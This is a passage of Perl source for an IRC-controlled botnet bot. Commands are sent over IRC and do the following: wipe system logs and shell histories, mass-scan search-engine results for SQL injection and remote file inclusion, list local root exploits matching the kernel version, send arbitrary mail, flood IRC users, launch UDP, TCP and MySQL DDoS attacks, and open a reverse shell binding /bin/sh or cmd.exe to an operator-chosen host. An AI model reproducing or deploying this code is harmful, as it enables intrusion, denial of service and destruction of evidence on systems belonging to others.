  570. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  Now Erasing the rest of the machine log files");
  571.    system 'find / -name *.bash_history -exec rm -rf {} \;';
  572.    system 'find / -name *.bash_logout -exec rm -rf {} \;';
  573.    system 'find / -name "log*" -exec rm -rf {} \;';
  574.    system 'find / -name *.log -exec rm -rf {} \;';
  575.       sleep 1;
  576. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  Done! All logs erased");
  577.       }
  578. ######################
  579. # End of Log Cleaner #  
  580. ######################
  581. ######################
  582. #              SQL SCANNER              #
  583. ######################
  584.  
  585. if ($funcarg =~ /^sql2\s+(.*?)\s+(.*)\s+(\d+)/){
  586.    if (my $pid = fork) {
  587.       waitpid($pid, 0);
  588.    } else {
  589.       if (my $d=fork()) {
  590.          addproc($d,"[SQL2] $2");
  591.          exit;
  592.       } else {
  593.            
  594.          my $bug=$1;
  595.          my $dork=$2;
  596.          my $contatore=0;
  597.          my ($type,$space);
  598.          my %hosts;
  599.          my $columns=$3;
  600.            
  601.                         ### Start Message
  602.                         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Starting Scan for 4$bug $dork");
  603.                         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Initializing on 45 12Search Engines ");
  604.                         ### End of Start Message
  605.             # Starting Google
  606.             my @glist=&google($dork);
  607.                         sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3SQL-Scanner12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  608.                         my @mlist=&msn($dork);
  609.                         my @asklist=&ask($dork);
  610.                         my @allist=&alltheweb($dork);
  611.                         my @aollist=&aol($dork);
  612.                         my @lycos=&lycos($dork);
  613.                         my @ylist=&yahoo($dork);
  614.                         my @mzlist=&mozbot($dork);
  615.                         my @mamalist&mamma($dork);
  616.                         my @hlist=&hotbot($dork);
  617.                         my @altlist=&altavista($dork);
  618.                         my @slist=&search($dork);
  619.                         my @ulist=&uol($dork);
  620.                         my @fireball=&fireball($dork);    
  621.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  622.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MSN 7[".scalar(@mlist)."7] Sites");
  623.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  624.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  625.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AOL 7[".scalar(@aollist)."7] Sites");
  626.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  627.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  628.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  629.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  630.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  631.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  632.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  633.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 UoL 7[".scalar(@ulist)."7] Sites");
  634.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 FireBall 7[".scalar(@flist)."7] Sites");
  635.              
  636.             push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  637.              
  638.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Filtruje4 ][ ".scalar(@tot)." 12Stron4 ] ");
  639.             my @puliti=&unici(@tot);
  640.              
  641.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ SQL ] [ 12$dork4 ][ ".scalar(@puliti)." 12Stron4 ] ");
  642.            
  643.             my $uni=scalar(@puliti);
  644.                    
  645.                   foreach my $sito (@puliti) {
  646.                
  647.                   $contatore++;
  648.                     if ($contatore %5==0){
  649.                        sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Skanuje4 ][ ".$contatore." 12z4 ".$uni. " 12Stron4 ] ");
  650.                     }
  651.                   sleep 3;
  652.                     if ($contatore==$uni-1){
  653.                      sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Koniec:4 $bug $dork ] ");
  654.                     }    
  655.                   sleep 3;
  656.                     my $site="http://".$sito.$bug;
  657.                   sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  658.            
  659.          $w=int rand(999);    
  660.          $w=$w*1000;
  661.          for($i=1;$i<=$columns;$i++) {
  662.             splice(@col,0,$#col+1);
  663.             for($j=1;$j<=$i;$j++) {
  664.                push(@col,$w+$j);
  665.             }    
  666.             $tmp=join(",",@col);
  667.             $test=$site."-1+UNION+SELECT+".$tmp."/*";
  668.             print $test."\n";
  669.             $result=get_html($test);
  670.             $result =~ s/\/\*\*\///g;
  671.             $result =~ s/UNION([^(\*)]*)//g;
  672.             for($k=1;$k<=$i;$k++) {
  673.                $n=$w+$k;
  674.                   if($result =~ /$n/){
  675.                      splice(@col2,0,$#col2+1);
  676.                         for($s=1;$s<=$i;$s++) {
  677.                            push(@col2,$s);  
  678.                         }
  679.                      $tmp2=join(",",@col2);
  680.                      $test2="+UNION+SELECT+".$tmp2."/*";
  681.                      push @{$dane{$test2}},$k;
  682.                   }  
  683.             }
  684.          }
  685.          for $klucz (keys %dane) {
  686.             foreach $i(@{$dane{$klucz}}) {
  687.                $klucz =~ s/$i/$i/;
  688.             }
  689.             sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [  ".$site."-1".$klucz."  ]  ");
  690.          }
  691.          %dane=();      
  692.             }
  693.       }
  694.    delproc($$);
  695.    exit;
  696.    }
  697. }
  698. #######  SQL SCANNER  #########
  699.  
  700. if ($funcarg =~ /^autoscan\s+(.*)\s+http\:\/\/(.*?)\/(.*?)\s+(\d+)/){
  701. if (my $pid = fork) {
  702. waitpid($pid, 0);
  703. } else {
  704. if (my $d=fork()) {
  705. addproc($d,"[String] $2");
  706. exit;
  707. } else {
  708.       $kto = $1;
  709.       $host = $2;
  710.       $skrypt = $3;
  711.       $czekac=$4;
  712.        
  713.       #http://ttl.ugu.pl/string/index.php
  714.       my $socke = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp") or return;
  715.       print $socke "GET /$skrypt HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  716.        
  717.       my @r = <$socke>;
  718.       $page="@r";
  719.      
  720.       $page =~ s/!scan(\s+)//g;
  721.       $page =~ s/!scan(.)//g;
  722.       $page =~ s/\<.*\>//g;
  723.        
  724.       @lines = split (/\n/, $page);
  725.       $ile=scalar(@lines);
  726.              
  727.        
  728.       for($i=9;$i<=$ile;$i+=4) {
  729.  
  730.          for($j=0;$j<4;$j++) {
  731.             #print $lines[$i+$j]."\n";
  732.              
  733.             sendraw($IRC_cur_socket, "PRIVMSG $printl :$kto $lines[$i+$j]");
  734.              
  735.             sleep 10;
  736.          }
  737.            
  738.          sleep $czekac*60;
  739.       }
  740.  
  741.    }
  742.       delproc($$);
  743.       exit;
  744.    }
  745. }
  746.  
  747.  
  748.  
  749.  
  750.  
  751. #######  SQL SCANNER  #########
  752.  
  753. if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/){
  754.    if (my $pid = fork()) {
  755.       waitpid($pid, 0);
  756.    } else {
  757.       if (my $d=fork()) {
  758.          addproc($d,"[SQL1] $1 $2");
  759.          exit;
  760.       } else {
  761.          my $site=$1;
  762.          my $columns=$2;
  763.          sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  764.            
  765.          $w=int rand(999);    
  766.          $w=$w*1000;
  767.          for($i=1;$i<=$columns;$i++) {
  768.             splice(@col,0,$#col+1);
  769.             for($j=1;$j<=$i;$j++) {
  770.                push(@col,$w+$j);
  771.             }    
  772.             $tmp=join(",",@col);
  773.             $test=$site.$bug."-1+UNION+SELECT+".$tmp."/*";
  774.                         #$result=query($test);
  775.             $result=get_html($test);
  776.      
  777.             $result =~ s/\/\*\*\///g;
  778.             $result =~ s/UNION([^(\*)]*)//g;
  779.             for($k=1;$k<=$i;$k++) {
  780.                $n=$w+$k;
  781.                   if($result =~ /$n/){
  782.                      splice(@col2,0,$#col2+1);
  783.                         for($s=1;$s<=$i;$s++) {
  784.                            push(@col2,$s);  
  785.                         }
  786.                      $tmp2=join(",",@col2);
  787.                      $test2="+UNION+SELECT+".$tmp2."/*";
  788.                      push @{$dane{$test2}},$k;
  789.                   }  
  790.             }
  791.          }
  792.          for $klucz (keys %dane) {
  793.             foreach $i(@{$dane{$klucz}}) {
  794.                $klucz =~ s/$i/$i/;
  795.             }
  796.             sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [  ".$site.$bug."-1".$klucz."  ]  ");
  797.          }
  798.          sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Koniec 4 ] ");      
  799.       }
  800.    delproc($$);
  801.    exit;
  802.    }
  803. }
  804. #######  SQL SCANNER  #########
  805. ######################
  806. #        Rootable                                     #
  807. ######################
  808. if ($funcarg =~ /^rootable/) {  
  809. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12]::::... Nah tho ");
  810. }
  811. if ($funcarg =~ /^rootme/) {  
  812. my $khost = `uname -r`;
  813. my $currentid = `whoami`;
  814. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Currently you are ".$currentid." ");
  815. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] The kernel of this shell is ".$khost." ");
  816. chomp($khost);
  817.  
  818.    my %h;
  819.    $h{'w00t'} = {  
  820.       vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20']  
  821.    };
  822.      
  823.    $h{'brk'} = {
  824.       vuln=>['2.4.22','2.4.21','2.4.10','2.4.20']  
  825.    };
  826.      
  827.    $h{'ave'} = {
  828.       vuln=>['2.4.19','2.4.20']  
  829.    };
  830.      
  831.    $h{'elflbl'} = {
  832.       vuln=>['2.4.29']  
  833.    };
  834.      
  835.    $h{'elfdump'} = {
  836.       vuln=>['2.4.27']
  837.    };
  838.      
  839.    $h{'expand_stack'} = {
  840.       vuln=>['2.4.29']  
  841.    };
  842.      
  843.    $h{'h00lyshit'} = {
  844.       vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2']
  845.    };
  846.      
  847.    $h{'kdump'} = {
  848.       vuln=>['2.6.13']  
  849.    };
  850.      
  851.    $h{'km2'} = {
  852.       vuln=>['2.4.18','2.4.22']
  853.    };
  854.      
  855.    $h{'krad'} = {
  856.       vuln=>['2.6.11']
  857.    };
  858.      
  859.    $h{'krad3'} = {
  860.       vuln=>['2.6.11','2.6.9']
  861.    };
  862.      
  863.    $h{'local26'} = {
  864.       vuln=>['2.6.13']
  865.    };
  866.      
  867.    $h{'loko'} = {
  868.       vuln=>['2.4.22','2.4.23','2.4.24']  
  869.    };
  870.      
  871.    $h{'mremap_pte'} = {
  872.       vuln=>['2.4.20','2.2.25','2.4.24']  
  873.    };
  874.      
  875.    $h{'newlocal'} = {
  876.       vuln=>['2.4.17','2.4.19','2.4.18']  
  877.    };
  878.      
  879.    $h{'ong_bak'} = {
  880.       vuln=>['2.4.','2.6.']  
  881.    };
  882.      
  883.    $h{'ptrace'} = {
  884.       vuln=>['2.2.','2.4.22']  
  885.    };
  886.      
  887.    $h{'ptrace_kmod'} = {
  888.       vuln=>['2.4.2']  
  889.    };
  890.      
  891.    $h{'ptrace24'} = {
  892.       vuln=>['2.4.9']  
  893.    };
  894.      
  895.    $h{'pwned'} = {
  896.       vuln=>['2.4.','2.6.']  
  897.    };
  898.      
  899.    $h{'py2'} = {
  900.       vuln=>['2.6.9','2.6.17','2.6.15','2.6.13']  
  901.    };
  902.      
  903.    $h{'raptor_prctl'} = {
  904.       vuln=>['2.6.13','2.6.17','2.6.16','2.6.13']  
  905.    };
  906.      
  907.    $h{'prctl3'} = {
  908.       vuln=>['2.6.13','2.6.17','2.6.9']  
  909.    };
  910.      
  911.    $h{'remap'} = {
  912.       vuln=>['2.4.']  
  913.    };
  914.      
  915.    $h{'rip'} = {
  916.       vuln=>['2.2.']  
  917.    };
  918.      
  919.    $h{'stackgrow2'} = {
  920.       vuln=>['2.4.29','2.6.10']  
  921.    };
  922.      
  923.    $h{'uselib24'} = {
  924.       vuln=>['2.4.29','2.6.10','2.4.22','2.4.25']  
  925.    };
  926.      
  927.    $h{'newsmp'} = {
  928.       vuln=>['2.6.']  
  929.    };
  930.      
  931.    $h{'smpracer'} = {
  932.       vuln=>['2.4.29']  
  933.    };
  934.      
  935.    $h{'loginx'} = {
  936.       vuln=>['2.4.22']  
  937.    };
  938.      
  939.    $h{'exp.sh'} = {
  940.       vuln=>['2.6.9','2.6.10','2.6.16','2.6.13']  
  941.    };
  942.      
  943.    $h{'prctl'} = {
  944.       vuln=>['2.6.']  
  945.    };
  946.      
  947.    $h{'kmdx'} = {
  948.       vuln=>['2.6.','2.4.']  
  949.    };
  950.      
  951.    $h{'raptor'} = {
  952.       vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']  
  953.    };
  954.      
  955.    $h{'raptor2'} = {
  956.       vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']  
  957.    };
  958.      
  959. foreach my $key(keys %h){
  960. foreach my $kernel ( @{ $h{$key}{'vuln'} } ){  
  961.    if($khost=~/^$kernel/){
  962.    chop($kernel) if ($kernel=~/.$/);
  963.    sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Possible Local Root Exploits: ". $key ." ");
  964.       }
  965.    }
  966. }
  967. }
  968. ######################
  969. #       MAILER       #  
  970. ######################
  971. if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  972. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12]  Mailer :. |  Sending Mail to : 2 $3");
  973. $subject = $1;
  974. $sender = $2;
  975. $recipient = $3;
  976. @corpo = $4;
  977. $mailtype = "content-type: text/html";
  978. $sendmail = '/usr/sbin/sendmail';
  979. open (SENDMAIL, "| $sendmail -t");
  980. print SENDMAIL "$mailtype\n";
  981. print SENDMAIL "Subject: $subject\n";
  982. print SENDMAIL "From: $sender\n";
  983. print SENDMAIL "To: $recipient\n\n";
  984. print SENDMAIL "@corpo\n\n";
  985. close (SENDMAIL);
  986. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12]   Mailer :. |  Mail Sent To : 2 $recipient");
  987. }
  988. ######################
  989. #   End of MAILER    #  
  990. ######################
  991. # A /tmp cleaner
  992.  
  993. if ($funcarg =~ /^cleartmp/) {  
  994. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TMPCleaner12] /tmp is Cleaned");
  995. }
  996. if ($funcarg =~ /^no/) {  
  997.     system 'cd /tmp;rm -rf *';
  998.          sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TMPCleaner12] /tmp is Cleaned");
  999.          }
  1000. #-#-#-#-#-#-#-#-#
  1001. # Flooders IRC  #
  1002. #-#-#-#-#-#-#-#-#          
  1003. # msg, @msgflood <who>
  1004. if ($funcarg =~ /^msgflood (.+?) (.*)/) {
  1005.    for($i=0; $i<=10; $i+=1){
  1006.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." ".$2);
  1007.    }
  1008.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3MSGFlood12]14 Excecuted on ".$1." ");
  1009. }
  1010.            
  1011. # dccflood, @dccflood <who>
  1012. if ($funcarg =~ /^dccflood (.*)/) {
  1013.    for($i=0; $i<=10; $i+=1){
  1014.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001DCC CHAT chat 1121485131 1024\001\n");
  1015.    }
  1016.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3DCCFlood12]14 Excecuted on ".$1." ");
  1017. }      
  1018. # ctcpflood, @ctcpflood <who>
  1019. if ($funcarg =~ /^ctcpflood (.*)/) {
  1020.    for($i=0; $i<=10; $i+=1){
  1021.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  1022.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  1023.    }
  1024.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3CTCPFlood12]14 Excecuted on ".$1." ");
  1025. }      
  1026. # noticeflood, @noticeflood <who>
  1027.    if ($funcarg =~ /^noticeflood (.*)/) {
  1028.       for($i=0; $i<=10; $i+=1){
  1029.          sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFL00D\n");
  1030.    }
  1031.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3NoticeFlood12]14 Excecuted on ".$1." ");
  1032. }      
  1033. # Channel Flood, @channelflood
  1034. if ($funcarg =~ /^channelflood/) {
  1035.    for($i=0; $i<=25; $i+=1){  
  1036.       sendraw($IRC_cur_socket, "JOIN #".(int(rand(99999))) );
  1037.    }
  1038.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3ChannelFlood12]14 Excecuted ");
  1039. }
  1040. # Maxi Flood, @maxiflood
  1041. if ($funcarg =~ /^maxiflood(.*)/) {
  1042.    for($i=0; $i<=15; $i+=1){
  1043.          sendraw($IRC_cur_socket, "NOTICE ".$1." :Iyzan_Loves_you,_;)\n");
  1044.          sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  1045.          sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  1046.          sendraw($IRC_cur_socket, "PRIVMSG ".$1." :Iyzan_Loves_you,_;\n");          
  1047.    }
  1048.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3M4Xi-Fl00d12]14 Excecuted on ".$1." ");
  1049. }
  1050. ######################
  1051. #  irc    #
  1052. ######################
  1053.          if ($funcarg =~ /^reset/) {
  1054.             sendraw($IRC_cur_socket, "QUIT :");
  1055.          }
  1056.          if ($funcarg =~ /^join (.*)/) {
  1057.             sendraw($IRC_cur_socket, "JOIN ".$1);
  1058.          }
  1059.          if ($funcarg =~ /^part (.*)/) {
  1060.             sendraw($IRC_cur_socket, "PART ".$1);
  1061.          }
  1062.          if ($funcarg =~ /^voice (.*)/) {  
  1063.             sendraw($IRC_cur_socket, "MODE $printl +v ".$1);
  1064.            }
  1065.          if ($funcarg =~ /^devoice (.*)/) {  
  1066.             sendraw($IRC_cur_socket, "MODE $printl -v ".$1);
  1067.            }
  1068.          if ($funcarg =~ /^halfop (.*)/) {  
  1069.             sendraw($IRC_cur_socket, "MODE $printl +h ".$1);
  1070.            }
  1071.          if ($funcarg =~ /^dehalfop (.*)/) {  
  1072.             sendraw($IRC_cur_socket, "MODE $printl -h ".$1);
  1073.            }
  1074.          if ($funcarg =~ /^owner (.*)/) {  
  1075.             sendraw($IRC_cur_socket, "MODE $printl +q ".$1);
  1076.            }
  1077.          if ($funcarg =~ /^deowner (.*)/) {  
  1078.             sendraw($IRC_cur_socket, "MODE $printl -q ".$1);
  1079.          }
  1080.          if ($funcarg =~ /^op (.*)/) {  
  1081.             sendraw($IRC_cur_socket, "MODE $printl +o ".$1);
  1082.            }          
  1083.          if ($funcarg =~ /^deop (.*)/) {  
  1084.             sendraw($IRC_cur_socket, "MODE $printl -o ".$1);
  1085.            }
  1086. ######################
  1087. #End of Join And Part#
  1088. ######################
  1089.  
  1090. ######################
  1091. #     UDPFlood       #
  1092. ######################
  1093. if ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  1094.            sendraw($IRC_cur_socket, "PRIVMSG $printl :13[4@3UDP-DDOS13] Attacking 4 ".$1.":".$2." 13for 4 ".$3." 13seconds.");
  1095.            $iaddr = inet_aton("$1") or die "Fuck wrong ip";
  1096.            $endtime = time() + ($3 ? $3 : 1000000);
  1097.            socket(flood, PF_INET, SOCK_DGRAM, 17);
  1098.            $port = "80";
  1099.            for (;time() <= $endtime;) {
  1100.            $2 = $2 ? $2 : int(rand(1024-64)+64) ;
  1101.            $port = $port ? $port : int(rand(65500))+1;
  1102.            send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($2, $iaddr));}
  1103.            sendraw($IRC_cur_socket,"PRIVMSG $printl :13[4@3UDP-DDOS13] Attack done 4 ".$1.":".$2.".");
  1104.   }
  1105. ######################
  1106. #     TCPFlood       #
  1107. ######################
  1108.  
  1109.          if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1110.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TCP-DDOS12] Attacking 4 ".$1.":".$2." 12for 4 ".$3." 12seconds.");
  1111.             my $itime = time;
  1112.             my ($cur_time);
  1113.             $cur_time = time - $itime;
  1114.             while ($3>$cur_time){
  1115.                $cur_time = time - $itime;
  1116.                &tcpflooder("$1","$2","$3");
  1117.             }
  1118.             sendraw($IRC_cur_socket,"PRIVMSG $printl :12[4@3TCP-DDOS12] Attack done 4 ".$1.":".$2.".");
  1119.          }
  1120. ######################
  1121. #  End of TCPFlood   #
  1122. ######################
  1123. ######################
  1124. #               SQL Fl00dEr                     #
  1125. ######################
  1126. if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) {
  1127. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking 4 ".$1." 12 on port 3306 for 4 ".$2." 12 seconds .");
  1128. my $itime = time;
  1129. my ($cur_time);
  1130. $cur_time = time - $itime;
  1131. while ($2>$cur_time){
  1132. $cur_time = time - $itime;
  1133.    my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306);
  1134.    print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1135. close($socket);
  1136. }
  1137. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking done 4 ".$1.".");
  1138. }
  1139. ######################
  1140. #   Back Connect     #
  1141.  
  1142. ######################
  1143.          if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  1144.          sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Back-Connect12]:::...  I don't know, I'm watching a show tho");
  1145.            
  1146.          }
  1147.          if ($funcarg =~ /^shhcon\s+(.*)\s+(\d+)/) {
  1148.             my $host = "$1";
  1149.             my $porta = "$2";
  1150.             my $proto = getprotobyname('tcp');
  1151.             my $iaddr = inet_aton($host);
  1152.             my $paddr = sockaddr_in($porta, $iaddr);
  1153.             my $shell = "/bin/sh -i";
  1154.             if ($^O eq "MSWin32") {
  1155.                $shell = "cmd.exe";
  1156.             }
  1157.             socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  1158.             connect(SOCKET, $paddr) or die "connect: $!";
  1159.             open(STDIN, ">&SOCKET");
  1160.             open(STDOUT, ">&SOCKET");
  1161.             open(STDERR, ">&SOCKET");
  1162.             system("$shell");
  1163.             close(STDIN);
  1164.             close(STDOUT);
  1165.             close(STDERR);
  1166.             if ($estatisticas){
  1167.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Back-Connect12] Connecting to 4 $host:$porta");
  1168.             }
  1169.          }
  1170. ######################
  1171. #End of  Back Connect#
  1172. ######################
  1173. ######################
  1174. #    MULTI SCANNER   #
  1175. ######################
  1176. if ($funcarg =~ /^multiscan\s+(.*?)\s+(.*)/){
  1177. if (my $pid = fork) {
  1178. waitpid($pid, 0);
  1179. } else {
  1180. if (fork) {
  1181. exit;
  1182. } else {
  1183. my $bug=$1;
  1184. my $dork=$2;
  1185. my $contatore=0;
  1186.                   my ($type,$space);
  1187.                   my %hosts;
  1188.                   ### Start Message
  1189.                   sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Starting Scan for 4$bug $dork");
  1190.                   sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Initializing on 45 12Search Engines ");
  1191.                   ### End of Start Message
  1192. # Starting Google
  1193.    my @glist=&google($dork);
  1194. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1195.    my @mlist=&msn($dork);
  1196.    my @asklist=&ask($dork);
  1197.    my @allist=&alltheweb($dork);
  1198.    my @aollist=&aol($dork);
  1199.    my @lycos=&lycos($dork);
  1200.    my @ylist=&yahoo($dork);
  1201.    my @mzlist=&mozbot($dork);
  1202.    my @mamalist&mamma($dork);
  1203.    my @hlist=&hotbot($dork);
  1204.    my @altlist=&altavista($dork);
  1205.    my @slist=&search($dork);
  1206.    my @ulist=&uol($dork);
  1207.    my @fireball=&fireball($dork);
  1208. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1209. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MSN 7[".scalar(@mlist)."7] Sites");
  1210. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  1211. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  1212. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AOL 7[".scalar(@aollist)."7] Sites");
  1213. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  1214. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  1215. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  1216. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  1217. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  1218. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  1219. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  1220. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 UoL 7[".scalar(@ulist)."7] Sites");
  1221. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 FireBall 7[".scalar(@flist)."7] Sites");
  1222. #
  1223. push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  1224. my @puliti=&unici(@tot);
  1225. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12]  Results: Total:7[".scalar(@tot)."7] Sites and Cleaned: 7[".scalar(@puliti)."7] for $dork ");
  1226. my $uni=scalar(@puliti);
  1227. foreach my $sito (@puliti)
  1228. {
  1229. $contatore++;
  1230. if ($contatore %100==0){
  1231. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Exploiting  7[".$contatore."7]  of  7[".$uni. "7] Sites");
  1232. }
  1233. if ($contatore==$uni-1){
  1234. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Finished for  $dork");
  1235. }
  1236. ### Print CMD and TEST CMD###
  1237. my $test="http://".$sito.$bug.$id."?";
  1238. my $print="http://".$sito.$bug.$cmd."?";
  1239. ### End of Print CMD and TEST CMD###
  1240. my $req=HTTP::Request->new(GET=>$test);
  1241. my $ua=LWP::UserAgent->new();
  1242. $ua->timeout(4);
  1243. my $response=$ua->request($req);
  1244. if ($response->is_success) {
  1245. my $re=$response->content;
  1246. if($re =~ /Mic22/ && $re =~ /uid=/){
  1247. my $hs=geths($print); $hosts{$hs}++;
  1248. if($hosts{$hs}=="1"){
  1249. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12]  Safe Mode = OFF :. | Vuln:  $print ");
  1250. }}
